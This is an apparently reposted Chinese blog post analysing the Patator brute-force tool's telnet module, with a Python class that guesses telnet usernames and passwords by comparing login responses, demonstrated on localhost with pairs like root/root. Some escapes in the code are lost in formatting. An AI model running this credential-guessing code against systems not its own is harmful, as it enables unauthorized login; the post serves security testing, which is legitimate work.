暴力破解测试工具--Patator 源码分析
作者:网络转载 发布时间:[ 2013/8/15 17:10:07 ] 推荐标签:
把核心部分抽出来,流程是这样的。
创建一个连接到telnetlib.Telnet对象fp -->> 等待出现匹配正则(w+:)字符出现(如 login:,username等)
-->> 发送用户名 -->>继续等待(w+:)出现(如passwd:,Password:) -->> 发送密码 ->> 等待(w+:)出现,输出返回字符串
过程是这么简单,其中expect函数接受二个参数,第一个是正则表达式的列表,可以是编译好的,也可以是字符串,第二个是超时时间。
返回一个三项的tuple,第一个是匹配到的正则序号(从0开始),第二个是匹配match的对象,第三个是直到正则的返回数据(包括匹配内容)
这说的有点抽象。
请看下面:
从上面我们可以很明显看出,匹配的正则是按顺序的,虽然返回数据中,‘bo'在’lo'之前,但由于在正则列表中‘lo'在前,所以数据一致读到’lo'。
到这里为止,大家应该对Patator如何去爆telnet弱密码基本了解了。
但如果我们想直接得出破解的用户名和密码,这该怎么办呢?
有一种思路是提供一个错误的用户名和密码,保存返回的内容,然后每次获取要测试的用户名和密码的回内容,通过比较两次的结果可以结果了。但由于返回内容会千奇百怪,所以要做较多的特殊处理。
如以下代码:
import telnetlib
class telnet_check:
def __init__(self,host,port=23,timeout=10):
self.host=host
self.port=port
self.timeout=timeout
self.promote='w+:'
self.errmsg=''
self.geterrmsg()
def connect(self):
return telnetlib.Telnet(self.host,self.port,self.timeout)
def geterrmsg(self):
f=self.connect()
f.expect([self.promote],self.timeout)
f.write('nullnull
')
f.expect([self.promote],self.timeout)
f.write('nullnull
')
_,_,self.errmsg=f.expect([self.promote],self.timeout)
self.errmsg=self.errmsg.strip()
def check(self,User,Passwd):
t=self.connect()
t.expect([self.promote],self.timeout)
t.write(User+'
')
_,_,p=t.expect([self.promote],self.timeout)
if p.strip() == self.errmsg:
return False
t.write(Passwd+'
')
_,_,loginmsg=t.expect([self.promote],self.timeout)
loginmsg=loginmsg.strip()
if self.errmsg != '' and self.errmsg != loginmsg:
return True
else:
return False
if __name__=='__main__':
tn=telnet_check('127.0.0.1')
print tn.check('yihaibo','1')
print tn.check('root','root')
print tn.check('admin','admin')
更新发布
功能测试和接口测试的区别
2023/3/23 14:23:39如何写好测试用例文档
2023/3/22 16:17:39常用的选择回归测试的方式有哪些?
2022/6/14 16:14:27测试流程中需要重点把关几个过程?
2021/10/18 15:37:44性能测试的七种方法
2021/9/17 15:19:29全链路压测优化思路
2021/9/14 15:42:25性能测试流程浅谈
2021/5/28 17:25:47常见的APP性能测试指标
2021/5/8 17:01:11